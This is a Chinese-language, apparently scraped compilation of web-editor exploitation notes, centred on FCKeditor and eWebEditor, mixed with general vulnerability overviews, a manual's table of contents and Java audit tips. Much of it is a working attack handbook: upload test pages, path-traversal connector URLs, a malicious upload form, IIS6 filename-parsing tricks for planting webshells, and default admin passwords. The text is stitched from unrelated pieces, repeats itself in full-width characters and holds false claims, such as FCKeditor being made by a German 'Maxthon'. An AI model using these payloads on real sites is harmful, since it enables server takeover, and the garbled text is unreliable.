FCKeditor编辑器漏洞利用
网页编辑器漏洞手册(全面版)
脆弱描述：
如果存在以下文件，打开后即可上传文件。
攻击利用:
fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor 新闻组件遍历目录漏洞
影响版本:aspx版FCKeditor，其余版本未测试
脆弱描述：如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
eWebEditor
eWebEditor利用基础知识
默认后台地址：/ewebeditor/admin_login.asp
建议最好检测下admin_style.asp文件是否可以直接访问
默认数据库路径：[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb -- 某些CMS里是这个数据库
也可尝试 [PATH]/db/%23ewebeditor.mdb -- 某些管理员自作聪明的小伎俩
使用默认密码：admin/admin888 或 admin/admin 进入后台，也可尝试 admin/123456 （有些管理员以及一些CMS，就是这么设置的）
CGI漏洞的发现及利用原理
CGI漏洞的发现及利用原理1. 输入验证不充分：Web应用程序在接收用户输入之前通常需要进行输入验证，例如对输入进行长度、格式、类型等方面的检查。
如果输入验证不充分，攻击者可以通过构造特定的输入来绕过验证，并利用这个漏洞进行攻击。
2. Shell注入：Shell注入是一种常见的CGI漏洞攻击方式，攻击者可以通过在输入中注入Shell命令，从而执行任意代码。
通常情况下，攻击者会通过输入构造借由脚本执行的Shell命令，例如将输入构造为“;”和“，”等特殊字符，来绕过输入验证和过滤机制。
3. 目录遍历：目录遍历是一种通过构造恶意输入来获取服务器上敏感文件的攻击方式。
攻击者通过构造特定的输入，例如在输入中使用“../”等特殊字符，来绕过Web应用程序对文件路径的限制，从而获取服务器上的敏感文件。
4. 文件包含：文件包含是指Web应用程序在处理请求时，通过包含其他文件的方式来实现一些功能。
如果攻击者能够控制文件包含的输入，就可以通过构造特定的输入来包含任意文件，并执行其中的代码。
5. CSRF（Cross-Site Request Forgery）：CSRF是一种利用用户身份和权限，在用户不知情的情况下执行非法操作的攻击方式。
攻击者通过构造特定的请求，例如隐藏在图片或链接中的恶意请求，来利用用户的登录状态和权限对Web应用程序进行攻击。
实际利用CGI漏洞进行攻击的过程如下：1. 攻击者首先需要发现存在漏洞的Web应用程序，可以通过或扫描工具来获取目标。
2. 确定存在的漏洞类型，例如输入验证不充分、Shell注入、目录遍历、文件包含或CSRF等。
3.构造特定的恶意输入，利用漏洞进行攻击。
攻击者需要根据漏洞的类型来构造特定的输入，以达到绕过验证、注入代码、获取敏感文件或执行非法操作等目的。
4.进行漏洞利用。
攻击者通过发送特定的请求或构造特定的URL来触发脚本执行，获取敏感信息，或实现其他的攻击目的。
为了防止CGI漏洞的利用，Web应用程序开发者可以采取以下措施：1.对输入进行充分的验证和过滤，包括长度、格式、类型等方面的检查，以防止恶意输入的注入。
网络安全常见漏洞利用案例剖析
网络安全常见漏洞利用案例剖析网络安全是当前全球性的重要问题之一，各种漏洞的存在给网络安全带来了巨大的威胁。
本文将会通过剖析几个常见的网络安全漏洞利用案例，探讨其原因、影响以及防范措施，以期增强人们对网络安全的认识与防范意识。
一、跨站脚本攻击（Cross-Site Scripting，XSS）跨站脚本攻击是指攻击者通过注入恶意脚本来获取用户的敏感信息或控制用户的浏览器。
攻击者通常利用Web应用程序中未正确校验、过滤用户输入的漏洞，插入嵌入式脚本，从而篡改网页内容、窃取用户信息或进行其他恶意操作。
常见案例剖析：某电子商务网站存在未过滤用户输入的漏洞，攻击者利用该漏洞成功注入恶意脚本。
当用户浏览包含该脚本的页面时，脚本会在用户浏览器中执行，窃取用户的登录凭证以及其他敏感信息。
影响：跨站脚本攻击可能导致用户个人资料泄露、账号被盗或者进行恶意操作等后果。
对于网站而言，会损害其声誉，导致用户流失。
防范措施：1. 对用户输入进行严格的过滤和校验，防止恶意脚本的注入。
2. 使用现代化的Web框架和开发工具，自动提供一些跨站脚本攻击的防护措施。
3. 及时更新和修复软件漏洞，加强系统安全配置。
4. 对用户敏感信息进行加密处理，确保安全传输。
二、SQL注入攻击（SQL Injection）SQL注入攻击是指攻击者通过在Web应用程序中注入恶意的SQL 代码来实现非法操作，例如修改、删除数据库中的数据。
攻击者通过修改输入数据，使得应用程序在执行SQL查询时发生意外，从而绕过访问控制，获取、篡改或删除敏感数据。
常见案例剖析：某社交网络应用程序的登录界面存在SQL注入漏洞，攻击者使用一条带有恶意注入脚本的SQL语句成功通过验证并登录到其他用户账号。
影响：SQL注入攻击可能导致用户个人隐私泄露、账号被盗、整个数据库被篡改或删除等后果。
这种攻击方式对网站和用户都造成了重大的损失。
防范措施：1. 对用户输入进行严格的限制和校验，过滤非法字符。
FCKeditor使用方法详解
FCKeditor使用方法详解目录一、FCKeditor简介 (2)1.1 FCKeditor是什么 (2)1.2 FCKeditor的特点 (3)二、安装与配置FCKeditor (5)三、基本功能使用方法 (6)3.1 文本格式化 (7)3.2 段落和列表操作 (9)3.3 图片和表格插入 (10)3.4 表单字段 (11)3.5 样式和脚本 (12)四、高级功能使用方法 (13)4.1 可视编辑器 (14)4.2 自动排版 (16)4.3 批量导入/导出 (17)4.4 国际化支持 (18)4.5 客户端存储 (20)五、自定义插件与扩展 (21)5.1 如何安装插件 (22)5.2 插件的使用方法 (24)5.3 开发自定义插件 (25)六、常见问题与解决方案 (27)6.1 常见问题列表 (28)6.2 问题解决步骤 (29)七、实例演示 (30)7.1 创建一个简单的HTML页面 (31)7.2 在页面中添加FCKeditor (32)7.3 配置和使用FCKeditor的各种功能 (34)八、FCKeditor在主流开发框架中的应用 (35)8.1 PHP+MySQL环境下的应用 (36)8.2 环境下的应用 (37)8.3 Java/Spring环境下的应用 (39)九、总结与展望 (39)9.1 FCKeditor的优点 (40)9.2 FCKeditor的局限性与未来发展趋势 (41)一、FCKeditor简介FCKeditor是一款由德国Maxthon公司开发的强大的网页文本编辑器，它具有丰富的功能、高度的可定制性和易用性，被广泛应用于各种Web应用中，如论坛、博客、新闻发布等。
FCKeditor不仅提供了基本的文本编辑功能，还支持图像、表格、超链接等元素的插入和编辑，以及自定义插件和宏，可以满足用户的各种编辑需求。
FCKeditor采用了基于JavaScript的富文本编辑技术，具有高效的性能和较小的体积，可以轻松地集成到各种Web应用中。
解析文件上传漏洞从FCKEditor文件上传漏洞谈起
解析⽂件上传漏洞从FCKEditor⽂件上传漏洞谈起⽂件上传漏洞就是允许⽤户上传任意⽂件可能会让攻击者注⼊危险内容或恶意代码，并在服务器上运⾏，下⾯⼩编就为⼤家具体的讲解⽂件上传漏洞的知识，希望可以帮助到⼤家。
⽂件上传后导致的常见安全问题⼀般有:1)上传⽂件是Web脚本语⾔，服务器的Web容器解释并执⾏了⽤户上传的脚本，导致代码执⾏。
2)上传⽂件是Flash的策略⽂件crossdomain.xml，⿊客⽤以控制Flash在该域下的⾏为(其他通过类似⽅式控制策略⽂件的情况类似);3)上传⽂件是病毒、⽊马⽂件，⿊客⽤以诱骗⽤户或者管理员下载执⾏。
4)上传⽂件是钓鱼图⽚或为包含了脚本的图⽚，在某些版本的浏览器中会被作为脚本执⾏，被⽤于钓鱼和欺诈。
除此之外，还有⼀些不常见的利⽤⽅法，⽐如将上传⽂件作为⼀个⼊⼝，溢出服务器的后台处理程序，如图⽚解析模块;或者上传⼀个合法的⽂本⽂件，其内容包含了PHP脚本，再通过"本地⽂件包含漏洞(Local File Include)"执⾏此脚本;等等。
要完成这个攻击，要满⾜以下⼏个条件:⾸先，上传的⽂件能够被Web容器解释执⾏。
所以⽂件上传后所在的⽬录要是Web容器所覆盖到的路径。
其次，⽤户能够从Web上访问这个⽂件。
如果⽂件上传了，但⽤户⽆法通过Web访问，或者⽆法得到Web容器解释这个脚本，那么也不能称之为漏洞。
最后，⽤户上传的⽂件若被安全检查、格式化、图⽚压缩等功能改变了内容，则也可能导致攻击不成功。
⼀、从FCKEditor⽂件上传漏洞谈起FCKEditor是⼀款⾮常流⾏的富⽂本编辑器，为了⽅便⽤户，它带有⼀个⽂件上传功能，但是这个功能却出过多次漏洞。
FCKEditor针对ASP/PHP/JSP等环境都有对应的版本，以PHP为例，其⽂件上传功能在：配合解析漏洞。
(⼀)IIS5.x-6.x解析漏洞使⽤iis5.x-6.x版本的服务器，⼤多为windows server 2003，⽹站⽐较古⽼，开发语句⼀般为asp;该解析漏洞也只能解析asp⽂件，⽽不能解析aspx⽂件。
java代码审计常见漏洞点
java代码审计常见漏洞点本⼈还处于代码审计的初级阶段，由于刚开始学代码审计的时候，就感觉⼀团代码，不知道从何下嘴。
先从底层开始审计：底层漏洞：1. 查看该系统所⽤框架：Struts2的相关安全：(1) 低版本的struts2，低版本的Struts2存在很多已知的版本漏洞。
⼀经使⽤，很容易造成⽐较⼤的危害。
(2) 开启 Struts2的动态调⽤⽅法，现在发现的如s2-033 ,s2-032等漏洞，都是由于系统开启了动态调⽤⽅法，导致远程代码执⾏。
(3) 在jsp页⾯中使⽤Struts2的ognl表达式传输数据。
(4) 开启Struts2的devMode，易造成远程代码执⾏(5) 存在Struts2本⾝⾃带的ognl页⾯(6) 使⽤Struts2⾃带的redirect等⽅法Spring的相关安全：Spring在jsp尽量使⽤el表达式，spring的boot框架远程命令执⾏就是由于el表达导致的。
mybatis xml相关安全：在SQL语句中，使⽤$进⾏传参；其他安全：在使⽤java⾃带的环境时，如weblogic或者jboss，请注意查看版本号，因为此类环境低版本，⼤部分包含java反序列化漏洞，导致远程代码执⾏。
2. 查找SQL注⼊：DAO:是否存在拼接的SQL语句如：String sql = "select * from user where id="+id;XML中：是否使⽤$,因为在xml中，#value#此时value是以参数的形式插⼊进去，$value$此时value是以字符串的形式直接插⼊到xml中，易导致sql注⼊；<select id="abdc" resultMap="result">select * from tb_card_bin where card_length = #cardLength# and instr(bin_no, '$cardNoFirstNum$') = 1</select>3.第三⽅控件漏洞如：fckeditor，wordpress等等。
【知识学习】Fckeditor漏洞利用总结
Fckeditor漏洞利用总结查看编辑器版本Fckeditor/_whatsnew.html—————————————————————————————————————————————————————————————2.Version2.2版本Apache+linux环境下在上传文件后面加个.突破！测试通过。
—————————————————————————————————————————————————————————————3.Version<=2.4.2Forphp在处理PHP上传的地方并未对media类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
<formid="frmUpload"enctype="multipart/form-data"action="/Fckeditor/editor/filema nager/upload/php/upload.php?Type=media"method="post ">Uploadanewfile:<br><inputtype="file"name="NewFile"size="50">< br><inputid="btnUpload"type="submit"value="Upload"& gt;</form>—————————————————————————————————————————————————————————————4.Fckeditor文件上传“.”变“_”下划线的绕过方法很多时候上传的文件例如：shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版Fck的变化。
ewebeditor漏洞
ewebeditor漏洞概述ewebeditor是一款常见的富文本编辑器，广泛应用于网站开发中。
然而，由于其设计和实现的不完善，存在一些漏洞，可能导致恶意攻击者利用这些漏洞进行远程执行任意代码或者进行跨站脚本攻击（XSS）等攻击行为。
漏洞类型根据漏洞的性质和影响范围，ewebeditor漏洞主要可以分为以下几种类型：1.任意文件上传漏洞：攻击者可以通过漏洞上传恶意文件，从而执行任意代码或获取敏感信息。
2.跨站脚本攻击漏洞（XSS）：攻击者可以在受影响的网页中注入恶意JavaScript代码，当其他用户浏览该网页时，恶意代码就会执行。
攻击者可以利用XSS漏洞窃取用户登录凭证、劫持用户会话等。
3.信息泄露漏洞：敏感信息（如管理员密码、数据库连接字符串等）通过漏洞暴露给攻击者，导致安全风险。
4.路径遍历漏洞：攻击者可以通过漏洞访问或下载网站上的敏感文件，甚至获取到服务器上的敏感信息。
5.远程代码执行漏洞：攻击者可以通过漏洞执行任意代码，从而完全控制服务器。
漏洞利用方式由于ewebeditor漏洞的公开性，攻击者可以通过多种方式对其进行利用。
以下是一些常见的漏洞利用方式：1.利用未授权访问：攻击者可以通过访问ewebeditor的后台管理接口，使用默认或弱密码登录，从而获取到管理权限。
2.利用文件上传漏洞：攻击者可以通过上传包含恶意代码的文件来执行任意命令或代码。
3.利用XSS漏洞：攻击者可以在受影响的网页中注入恶意JavaScript代码，从而获取到用户的敏感信息或进行其他恶意操作。
4.利用路径遍历漏洞：攻击者可以通过构造恶意请求，访问或下载网站上的敏感文件。
5.利用远程代码执行漏洞：攻击者可以通过漏洞执行任意代码，从而完全控制服务器。
漏洞防御措施为了保护ewebeditor以及网站安全，以下是一些常见的漏洞防御措施：1.及时更新漏洞版本：保持ewebeditor及相关插件的最新版本，及时修复已知漏洞。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
ＦＣＫｅｄｉｔｏｒ编辑器页／查看编辑器版本／查看文件上传路径ＦＣＫｅｄｉｔｏｒ编辑器页
ＦＣＫｅｄｉｔｏｒ／＿ｓａｍｐｌｅｓ／ｄｅｆａｕｌｔ．ｈｔｍｌ查看编辑器版本
ＦＣＫｅｄｉｔｏｒ／＿ｗｈａｔｓｎｅｗ．ｈｔｍｌ
查看文件上传路径
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝／
ＸＭＬ页面中第二行 “ｕｒｌ＝／ｘｘｘ”的部分就是默认基准上传路径
Ｎｏｔｅ：［Ｈｅｌｌ１］截至２０１０年０２月１５日最新版本为ＦＣＫｅｄｉｔｏｒ ｖ２．６．６
［Ｈｅｌｌ２］记得修改其中两处ａｓｐ为ＦＣＫｅｄｉｔｏｒ实际使用的脚本语言
ＦＣＫｅｄｉｔｏｒ被动限制策略所导致的过滤不严问题
影响版本： ＦＣＫｅｄｉｔｏｒ ｘ．ｘ ＜＝ ＦＣＫｅｄｉｔｏｒ ｖ２．４．３脆弱描述：
ＦＣＫｅｄｉｔｏｒ ｖ２．４．３中Ｆｉｌｅ类别默认拒绝上传类型：
ｈｔｍｌ｜ｈｔｍ｜ｐｈｐ｜ｐｈｐ２｜ｐｈｐ３｜ｐｈｐ４｜ｐｈｐ５｜ｐｈｔｍｌ｜ｐｗｍｌ｜ｉｎｃ｜ａｓｐ｜ａｓｐｘ｜ａｓｃｘ｜ｊｓｐ｜ｃｆｍ｜ｃｆｃ｜ｐｌ｜ｂａｔ｜ｅｘｅ｜ｃｏｍ｜ｄｌｌ｜ｖｂｓ｜ｊｓ｜ｒｅｇ｜ｃｇｉ｜ｈｔａｃｃｅｓｓ｜ａｓｉｓ｜ｓｈ｜ｓｈｔｍｌ｜ｓｈｔｍ｜ｐｈｔｍ
Ｆｃｋｅｄｉｔｏｒ ２．０ ＜＝ ２．２允许上传ａｓａ、ｃｅｒ、ｐｈｐ２、ｐｈｐ４、ｉｎｃ、ｐｗｍｌ、ｐｈｔ后缀的文件
上传后 它保存的文件直接用的￥ｓＦｉｌｅＰａｔｈ ＝ ￥ｓＳｅｒｖｅｒＤｉｒ ． ￥ｓＦｉｌｅＮａｍｅ，而没有使用￥ｓＥｘｔｅｎｓｉｏｎ为后缀直接导致在ｗｉｎ下在上传文件后面加个．来突破［未测试］
而在ａｐａｃｈｅ下，因为＂Ａｐａｃｈｅ文件名解析缺陷漏洞＂也可以利用之，详见＂附录Ａ＂
另建议其他上传漏洞中定义ＴＹＰＥ变量时使用Ｆｉｌｅ类别来上传文件，根据ＦＣＫｅｄｉｔｏｒ的代码，其限制最为狭隘。
攻击利用：
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
允许其他任何后缀上传
Ｎｏｔｅ：［Ｈｅｌｌ１］原作：ｈｔｔｐ：／／ｓｕｐｅｒｈｅｉ．ｂｌｏｇｂｕｓ．ｃｏｍ／ｌｏｇｓ／２００６／０２／１９１６０９１．ｈｔｍｌ
利用２００３路径解析漏洞上传网马影响版本： 附录Ｂ脆弱描述：
利用２００３系统路径解析漏洞的原理，创建类似“ｂｉｎ．ａｓｐ”如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用：
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝Ｉｍａｇｅ＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ
ＦＣＫｅｄｉｔｏｒ ＰＨＰ上传任意文件漏洞
影响版本： ＦＣＫｅｄｉｔｏｒ ２．２ ＜＝ ＦＣＫｅｄｉｔｏｒ ２．４．２脆弱描述：
ＦＣＫｅｄｉｔｏｒ在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件。
在通过ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｕｐｌｏａｄ／ｐｈｐ／ｕｐｌｏａｄ．ｐｈｐ上传文件时攻击者可以通过为Ｔｙｐｅ参数定义无效的值导致上传任意脚本。
成功攻击要求ｃｏｎｆｉｇ．ｐｈｐ配置文件中启用文件上传，而默认是禁用的。
攻击利用： （请修改ａｃｔｉｏｎ字段为指定网址）：
ＦＣＫｅｄｉｔｏｒ 《＝２．４．２ ｆｏｒ ｐｈｐ．ｈｔｍｌ
Ｎｏｔｅ：如想尝试ｖ２．２版漏洞，则修改Ｔｙｐｅ＝任意值 即可，但注意，如果换回使用Ｍｅｄｉａ则必须大写首字母Ｍ，否则ＬＩＮＵＸ下，ＦＣＫｅｄｉｔｏｒ会对文件目录进行文件名校验，不会上传成功的。
ＴＹＰＥ自定义变量任意上传文件漏洞影响版本： 较早版本脆弱描述：
通过自定义Ｔｙｐｅ变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
攻击利用： ／ＦＣＫｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝ａｌｌ＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ
打开这个地址就可以上传任何类型的文件了，Ｓｈｅｌｌ上传到的默认位置是：ｈｔｔｐ：／／ｗｗｗ．ｈｅｉｍｉａｎ．ｃｏｍ／ＵｓｅｒＦｉｌｅｓ／ａｌｌ／１．ａｓｐ
＂Ｔｙｐｅ＝ａｌｌ＂ 这个变量是自定义的，在这里创建了ａｌｌ这个目录，而且新的目录没有上传文件格式的限制．比如输入：
／ＦＣＫｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｂｒｏｗｓｅｒ．ｈｔｍｌ？Ｔｙｐｅ＝．．／＆Ｃｏｎｎｅｃｔｏｒ＝ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ网马就可以传到网站的根目录下．
Ｎｏｔｅ： 如找不到默认上传文件夹可检查此文件：
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐ／ｃｏｎｎｅｃｔｏｒ．ａｓｐ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝／
ＦＣＫｅｄｉｔｏｒ 新闻组件遍历目录漏洞
影响版本：ａｓｐｘ版ＦＣＫｅｄｉｔｏｒ，其余版本未测试
脆弱描述：如何获得ｗｅｂｓｈｅｌｌ请参考上文“ＴＹＰＥ自定义变量任意上传文件漏洞”攻击利用：
修改ＣｕｒｒｅｎｔＦｏｌｄｅｒ参数使用 ．．／．．／来进入不同的目录／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐｘ／ｃｏｎｎｅｃｔｏｒ．ａｓｐｘ？
Ｃｏｍｍａｎｄ＝ＣｒｅａｔｅＦｏｌｄｅｒ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝．．／．．／．．％２Ｆ＆ＮｅｗＦｏｌｄｅｒＮａｍｅ＝ａｓｐｘ．ａｓｐ根据返回的ＸＭＬ信息可以查看网站所有的目录。
／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ａｓｐｘ／ｃｏｎｎｅｃｔｏｒ．ａｓｐｘ？Ｃｏｍｍａｎｄ＝ＧｅｔＦｏｌｄｅｒｓＡｎｄＦｉｌｅｓ＆Ｔｙｐｅ＝Ｉｍａｇｅ＆ＣｕｒｒｅｎｔＦｏｌｄｅｒ＝％２ＦＦＣＫｅｄｉｔｏｒ中ｗｅｂｓｈｅｌｌ的其他上传方式影响版本：非优化／精简版本的ＦＣＫｅｄｉｔｏｒ脆弱描述：
如果存在以下文件，打开后即可上传文件。
攻击利用：
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｕｐｌｏａｄ／ｔｅｓｔ．ｈｔｍｌ
月末分享 h t
t p
://w w w .y u e m o b a r .c o m
ｆｃｋｅｄｉｔｏｒ／ｅｄｉｔｏｒ／ｆｉｌｅｍａｎａｇｅｒ／ｂｒｏｗｓｅｒ／ｄｅｆａｕｌｔ／ｃｏｎｎｅｃｔｏｒｓ／ｔｅｓｔ．ｈｔｍｌＦＣＫｅｄｉｔｏｒ 文件上传“．”变“＿”下划线的绕过方法影响版本： ＦＣＫｅｄｉｔｏｒ ＝＞ ２．４．ｘ脆弱描述：
我们上传的文件例如：ｓｈｅｌｌ．ｐｈｐ．ｒａｒ或ｓｈｅｌｌ．ｐｈｐ；．ｊｐｇ会变为ｓｈｅｌｌ＿ｐｈｐ；．ｊｐｇ这是新版ＦＣＫ的变化。
攻击利用：
提交１．ｐｈｐ＋空格 就可以绕过去所有的，
※不过空格只支持ｗｉｎ系统 ＊ｎｉｘ是不支持的［１．ｐｈｐ和１．ｐｈｐ＋空格是２个不同的文件］
Ｎｏｔｅ：ｕｐｌｏａｄ／２０１０／３／２０１００３１０２３３４３７２７７８．ｊｐｇ 这样的格式做了过滤。
也就是ＩＩＳ６解析漏洞。
上传第一次。
被过滤为１２３＿ａｓｐ；１２３．ｊｐｇ 从而无法运行。
但是第２次上传同名文件１２３．ａｓｐ；１２３．ｊｐｇ后。
由于”１２３＿ａｓｐ；１２３．ｊｐｇ”已经存在。
文件名被命名为１２３．ａｓｐ；１２３（１）．ｊｐｇ …… １２３．ａｓｐ；１２３（２）．ｊｐｇ这样的编号方式。
所以。
ＩＩＳ６的漏洞继续执行了。
如果通过上面的步骤进行测试没有成功，可能有以下几方面的原因：
１．ＦＣＫｅｄｉｔｏｒ没有开启文件上传功能，这项功能在安装ＦＣＫｅｄｉｔｏｒ时默认是关闭的。
如果想上传文件，ＦＣＫｅｄｉｔｏｒ会给出错误提示。
２．网站采用了精简版的ＦＣＫｅｄｉｔｏｒ，精简版的ＦＣＫｅｄｉｔｏｒ很多功能丢失，包括文件上传功能。
３．ＦＣＫｅｄｉｔｏｒ的这个漏洞已经被修复。
月末分享 h t
t p
://w w w .y u e m o b a r .c o m。